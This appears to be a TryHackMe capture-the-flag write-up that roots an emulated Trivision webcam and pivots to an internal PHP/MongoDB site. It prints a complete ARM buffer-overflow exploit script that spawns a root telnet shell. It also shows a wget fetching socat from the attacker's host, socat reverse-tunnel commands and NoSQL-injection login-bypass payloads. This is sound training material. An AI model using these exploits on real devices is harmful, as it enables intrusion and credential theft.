AoCyber: Part 2 Take 2
TL;DR: Root the webcam with directory traversal and buffer overflow, use that to pivot to CyberPolice network with proxy hops and NoSQLi to get the yeti keys.
If you found this post, you probably already found https://tryhackme.com/room/armageddon2r
See this years' other rooms as well:
SQ 1: Day 0
SQ 2: Day 6
SQ 3: Day 11
SQ 4: Day 20
Preface: This is a second solution to Part 2 that is (hopefully) the intended path. If you want to see the previous write-ups with the unintended path that I took which no longer work you can find them here:
SQ2-0 <- Still relevant path to finding the QR code to the room
SQ2-1 <- Unintended path
SQ2-2
SQ2-3 <- Details about how I played with the overflow functions
Enumeration
└─$ nmap -sC -sV -p- 10.10.58.92 -vv --min-rate=1500
<SNIP>
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
<SNIP>
23/tcp open tcpwrapped syn-ack
8080/tcp open http syn-ack Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: TryHackMe | Access Forbidden - 403
50628/tcp open unknown syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 302 Redirect
| Server: Webs
| Date: Wed Dec 31 19:01:59 1969
| Pragma: no-cache
| Cache-Control: no-cache
| Content-Type: text/html
| Location: http://NC-227WF-HD-720P:50628/default.asp
| <html><head></head><body>
| This document has moved to a new <a href="http://NC-227WF-HD-720P:50628/default.asp">location</a>.
<SNIP>
Nmap done: 1 IP address (1 host up) scanned in 161.07 seconds
We find 3 ports. 23, 8080, and 50628.
└─$ nc 10.10.58.92 23
(UNKNOWN) [10.10.58.92] 23 (telnet) : Connection refused
Checking the telnet port, we can see that there's nothing for us to get into yet.
└─$ gobuster dir -u http://10.10.58.92:8080 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,js,html,php -t 40 --timeout=6s -o gobuster-task.txt --retry -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.58.92:8080
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt,js
[+] Timeout: 6s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/demo (Status: 200) [Size: 41]
/vendor (Status: 301) [Size: 318] [--> http://10.10.58.92:8080/vendor/]
/403.html (Status: 200) [Size: 933]
Quick look at the 8080 port, we find a /demo folder, and a /vendor folder. Let's check a quick look through with Nikto...
└─$ nikto -host http://10.10.58.92:8080
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.58.92
+ Target Hostname: 10.10.58.92
+ Target Port: 8080
+ Start Time: 2023-12-28 08:49:55 (GMT-8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /index.php/123: Retrieved x-powered-by header: PHP/8.1.26.
+ /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1446
And we find an index.php and /.DS_Store
And browsing to the site, we see an image that will haunt us to the end of our days.
The screenshot here shows us login.php/123 from the unintended solution, but the index.php/ will show the same error.
However the DS_Store can be obtained from the site just fine. Likely this isn't caught in the .php
location block filters that are serving 403s everywhere.
DS_Store is recognizable if you've ever touched a folder with a Mac file explorer, it contains metadata about the path to enrich the experience for the user. This time, however: WE'RE the user!
This tool is the first result I found to decode the DS_Store file, but one can get a messier output from a simple sed
command.
└─$ cp ~/Downloads/Untitled\(6\).DS_Store .dsstore
┌──(tokugero㉿kali)-[~/…/aoc2023/task2/dsstore/Python-dsstore-master]
└─$ python3 main.py .dsstore
Count: 4
vendor
<SNIP>
First result here is our /vendor folder again. Let's see if that has another .DS_Store...
Here's a nested one!
└─$ python3 main.py .dsstorevendor
Count: 20
composer
<SNIP>
jean85
<SNIP>
mongodb
<SNIP>
psr
<SNIP>
symfony
<SNIP>
And here we have our first application architecture clue. We see a mongoDB extension along with our other composer installed applications. Composer, per Google, is a package manager for PHP applications, which tells us the last part of our architecture puzzle.
Let's move on for now as it doesn't seem there's much else we can do here.
└─$ gobuster dir -u http://10.10.58.92:50628 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,js,html,asp -t 40 --timeout=6s -o gobuster-task.txt --retry -b 401
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.58.92:50628
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes: 401
[+] User Agent: gobuster/3.6
[+] Extensions: asp,txt,js,html
[+] Timeout: 6s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/default.asp (Status: 200) [Size: 133]
/mobile (Status: 302) [Size: 212] [--> http://10.10.58.92:50628/mobile/default.asp]
The last port that's open, 50628, needs some similar scanning. Dirbuster helps us find some asp surface.
└─$ nikto -host http://10.10.58.92:50628
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.58.92
+ Target Hostname: 10.10.58.92
+ Target Port: 50628
+ Start Time: 2023-12-28 08:50:10 (GMT-8)
---------------------------------------------------------------------------
+ Server: Webs
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: http://10.10.58.92/default.asp
Nikto promises us that this application is full of holes, I've truncated the output here as it was overwhelming to start validating them all. It appears that this is more likely Nikto swamping the service and locking itself out resulting in false-positives.
Browsing to the site directly gives us real clues about what we're actually looking at.
Attempting to "Enter" leads us to a default landing page and a requirement.
Here we disagree with Google as we clearly DO have many great matches for our search. This appears to be an awesome IoT vulnerability demo.
This GitHub has lots of great diagrams and descriptions of the app architecture. TL;DR: This is a container
that hosts QEMU
that hosts a rootfs
dump of our webcam, among other services.
Loading this into burpsuite we can validate our call to get more fine grained control of the requests.
# On local host in git repo
┌──(tokugero㉿kali)-[~/…/emux-master/files/emux/TRI227WF]
└─$ bzip2 -d rootfs.tar.bz2
┌──(tokugero㉿kali)-[~/…/emux-master/files/emux/TRI227WF]
└─$ tar -xvf rootfs.tar
rootfs/
<SNIP>
┌──(tokugero㉿kali)-[~/…/emux-master/files/emux/TRI227WF]
└─$ find rootfs -name webs
rootfs/etc/webs
rootfs/usr/bin/webs
Using the GitHub repo, we can load everything locally to verify architecture and potential vulnerabilities. The application runs a webs
web server, as confirmed from our initial NMap scans, so I exfiltrated the binary to see if I could figure out what configurations it might use. I had to do this as I couldn't observe any interesting lsof
data from the local container. Not that it doesn't exist: Just that I didn't find it...
Ghidra was quick and easy in showing the configuration files used by the application. I probably could have gotten this same data by just cat
ing the binary and scrolling around.
# On local emux container:
# ls
cab config.cfg default.asp en images
cgi-bin debug disk flash mobile
# ls */*
cab/NcPlayrt.cab en/rthpd.asp
<SNIP>
en/account:
accadd.asp accedit.asp acclist.asp
<SNIP>
en/images:
bottom_bk.gif menu_bk.gif signal2.gif top_right.png
bottom_left.gif none.gif signal3.gif wait.gif
bottom_right.gif p1.gif signal4.gif win_bak.jpg
frame_left_top.png p2.gif signal5.gif wizard_bk.png
left_bk.gif searching.gif top_bk.gif
login.png signal1.gif top_left.png
<SNIP>
en/player:
activex_hd.asp flash_hd.asp hls_hd.asp mjpeg_hd.asp qt_hd.asp
activex_pal.asp flash_pal.asp hls_pal.asp mjpeg_pal.asp qt_pal.asp
activex_vga.asp flash_vga.asp hls_vga.asp mjpeg_vga.asp qt_vga.asp
<SNIP>
Here we have other useful data about the application structure itself, some of these might have interesting vectors to dig into.
# cat /etc/webs/umconfig.txt
TABLE=users
ROW=0
name=admin
password=admin
group=administrators
prot=0
disable=0
TABLE=groups
ROW=0
name=administrators
priv=10
method=2
prot=0
disable=0
ROW=1
name=guest
priv=1
method=1
prot=0
disable=0
<SNIP>
TABLE=access
ROW=0
name=/
method=2
secure=0
group=administrators
ROW=1
name=/default.asp
method=1
secure=0
group=guest
ROW=2
name=/??/login.asp
method=1
secure=0
group=guest
<SNIP
ROW=7
name=/??/images/
method=1
secure=0
group=guest
<SNIP>
ROW=10
name=/form/default
method=1
secure=0
group=guest
<SNIP>
Using this we can identify some forms that are suspicious in that they allow any amount of text into them.
Some Googling around on this exercise and we see several buffer overflows.
#!/usr/bin/python
#ORIGINAL AUTHOR https://github.com/3sjay/sploits/blob/main/trivision_nc227wf_expl.py
from telnetlib import Telnet
import os, struct, sys, re, socket
import time
import binascii
##### HELPER FUNCTIONS #####
def pack32(value):
return struct.pack("<I", value) # little byte order
def pack16n(value):
return struct.pack(">H", value) # big/network byte order
def urlencode(buf):
s = ""
for b in buf:
if re.match(r"[a-zA-Z0-9\/]", b) is None:
s += "%%%02X" % ord(b)
else:
s += b
return s
##### HELPER FUNCTIONS FOR ROP CHAINING #####
# function to create a libc gadget
# requires a global variable called libc_base
def libc(offset):
return pack32(libc_base + offset)
# function to represent data on the stack
def data(data):
return pack32(data)
# function to check for bad characters
# run this before sending out the payload
# e.g. detect_badchars(payload, "\x00\x0a\x0d/?")
def detect_badchars(string, badchars):
for badchar in badchars:
i = string.find(badchar)
while i != -1:
sys.stderr.write("[!] 0x%02x appears at position %d\n" % (ord(badchar), i))
i = string.find(badchar, i+1)
##### MAIN #####
if len(sys.argv) != 3:
print("Usage: expl.py <ip> <port>")
sys.exit(1)
ip = sys.argv[1]
port = sys.argv[2]
libc_base = 0x40021000
buf = b"A" * 283
buf += b"p"
"""
0x40060b58 <+32>: ldr r0, [sp, #4]
0x40060b5c <+36>: pop {r1, r2, r3, lr}
0x40060b60 <+40>: bx lr
"""
ldr_r0_sp = pack32(0x40060b58)
# 0x00033a98: mov r0, sp; mov lr, pc; bx r3;
mov_r0 = pack32(libc_base + 0x00033a98)
system = pack32(0x4006079c)
buf += ldr_r0_sp
buf += b"BBBB"
buf += b"CCCC"
buf += system
buf += mov_r0
buf += b"telnetd${IFS}-l/bin/sh;#"
buf += b"C" * (400-len(buf))
lang = buf
request = b"GET /form/default?lang=%s HTTP/1.0\n" % lang + b"\n\n"
#print request,
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(request)
s.recv(100)
time.sleep(5)
tn = Telnet(ip, 23)
tn.interact()
This is a version I tweaked to work in my environment, YMMV but here's the gist of what's happening:
After lots of debugging to find the registers locations in memory via GDB, one can find how many bytes to write to fluff into the nearest vulnerable form before they can add a pointer to arbitrary code they inject. See the original buffer overflow discussion for more details about my struggles to debug this tool.
With that we can browse to the umconfig.txt
we found earlier and steal the admin credentials.
And at mjpeg_vga, we have our flag. But we still need the second one and our attempts to access the 8080 web server seem unfruitful. Maybe we can get access to these resources if we prove we are an elf and come form inside the network?
┌──(tokugero㉿kali)-[~/…/rooms/aoc2023/task2/ass]
└─$ python3 easymode.py 10.10.126.90 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/easymode.py:2: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
from telnetlib import Telnet
BusyBox v1.21.1 (2013-12-19 20:11:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# whoami
whoami
whoami: applet not found
# ls
ls
bin dev etc home lib proc root sbin sys tmp usr var
# id
id
id: applet not found
# help
help
Built-in commands:
------------------
. : [ [[ alias bg break cd chdir continue echo eval exec exit
export false fg hash help jobs kill local printf pwd read readonly
return set shift source test times trap true type ulimit umask
unalias unset wait
# cat /etc/passwd
cat /etc/passwd
root:3ZY9QeKfWgeNw:0:0:root:/root:/bin/sh
And with this we have connected to our newly opened telnetd
service opened on the existing 23
port.
To get any further, we need to add some binaries to the webcam to help us pivot around the "network". Socat
is a tool that technically runs on the emux
system, but we can easily guarantee we have a healthy one by hosting a copy here via the following:
└─$ python3 -m http.server --bind 0.0.0.0 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.155.125 - - [28/Dec/2023 12:14:43] "GET /socat-armel-static HTTP/1.1" 200 -
# wget http://<ATTACKIP>:9000/socat-armel-static
wget http://<ATTACKIP>:9000/socat-armel-static
Connecting to <ATTACKIP>:9000 (10.13.8.186:9000)
# mv socat-armel-static socat
mv socat-armel-static socat
# chmod +x socat
chmod +x socat
# socat -h
socat -h
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
Usage:
socat [options] <bi-address> <bi-address>
Here's the way to slide this bin into the webcam's DMs.
After all this work, let's prove that we actually have access to resources behind this webcam from inside the network.
┌──(tokugero㉿kali)-[~/thm/rooms/aoc2023/task2]
└─$ socat TCP-LISTEN:8844,bind=0.0.0.0,reuseaddr,fork TCP-LISTEN:4488,reuseaddr
#vvvv REMOTE HOST vvvv#
# while true; do socat TCP:<ATTACKIP>:8844 TCP:10.10.155.125:8080; done
By using that socat
binary we can open a proxy on my localhost, pass connections to a reverse shell that was opened on the remote host. The difference in this reverse shell is that it passes TCP connections to the remote IP rather than open a shell. See below for a diagram of these two commands:
In this way we can pass any type of TCP connection we want, SSH/HTTP/Whatever.
Testing our tunnel, we can see that we get the same results as the curl
from the webcam shell. This proves that we're seeing what we should locally.
The same validation, but with burpsuite
.
Trying one of those previously identified endpoints, we can see we get actual responses now!
Note that burpsuite
comes with it's own proxy in http://localhost:8080
by default, so we're going to add that to our calls.
This allows us to intercept the calls being made to ensure they're looking like we need them to. Since this is a bit longer of a chain, it will be helpful to prove to ourselves that the calls are going where they say they are.
└─$ nikto -useproxy "http://localhost:8080" -host "http://localhost:4488"
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: (proxied)
+ Target Hostname: localhost
+ Target Port: 4488
+ Proxy: localhost:8080
+ Start Time: 2023-12-28 12:28:14 (GMT-8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /lists/admin/: PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist.
+ /ssdefs/: Siteseed pre 1.4.2 has 'major' security problems.
+ /sshome/: Siteseed pre 1.4.2 has 'major' security problems.
+ /tiki/: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin.
+ /~root/: Allowed to browse root's home directory. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1013
<SNIP>
To enumerate again and getting garbage responses, probably more false positives...
└─$ gobuster dir -u http://localhost:4488 --proxy "http://localhost:8080" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,js,html,php/,php -t 40 --timeout=6s -o gobuster-task.txt --retry --exclude-length 1371 -b 401,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://localhost:4488
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes: 401,404
[+] Exclude Length: 1371
[+] Proxy: http://localhost:8080
[+] User Agent: gobuster/3.6
[+] Extensions: php/,php,txt,js,html
[+] Timeout: 6s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 176508 / 489864 (36.03%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 176508 / 489864 (36.03%)
===============================================================
Finished
===============================================================
And lots of missing things. I think in this case, the TCP proxy being a single threaded socat service is limiting our crawling significantly. In a real world scenario I might be willing to let this spawn one call every few seconds and let it run for a few hours/days, in this case I'm going to move on with my life and go back to what I was already poking.
In Firefox we're prompted with the same htpasswd call that the webcam asked for. Using that admin password we exfiltrated, we can get a satisfactory Authorization header and a proper redirect to a login screen.
Using that burp proxy, we can inject that auth header to every call that goes out without needing to modify our tools.
Testing the login prompt proves to us that our header injection is working, and shows us a new POST request.
Since earlier we found the MongoDB dependencies, we can try NoSQL injections like the following:
PHP will blindly add parameters included in the HTTP payload before passing it into Mongo. So we can use the payloads that take advantage of that to change the original query from a "id=id" to a "id != id" without too much effort.
Here we get our first NoSQL injection confirmation, no more error messages and we get a redirect.
This is likely the first user in the DB. I'd expect this to be "admin" but it seems that this is just a regular detective.
We can change from a != clause to a regex clause and use my favorite StackOverflow answer: Negative Lookarounds
username[$regex]=^((?!Frostbite|Snowballer|Snow.*|.*bite|Slush.*|.*inski|Blizzard.*|.*son|Tinsel.*|.*tooth|Grinch.*|owski.*|Scrooge.*|.*stein|Sleigh.*|.*burn|Northpole.*|.*insky|.*ington|.*ova|Icicle.*|.*vic|.*opoulos).)*$&password[$ne]=asdf
This is the result of 20-39 minutes of manually iterating through users. Could I have scripted this? Probably. Do I hate myself? Definitely. The version here is one that will get to the right answer, but short cuts some of the usernames. It would be best to do this one-user-at-a-time so you don't accidentally rule out our hero:
And with that, we have the flag. Again.
I think this remake of the exercise is much more organic and true to the room. While I wasn't excited to sit down to the same exercise again, I found that this was easily another couple hours worth of debugging and trimming to get the port relays set up properly. Ultimately: Worth the effort.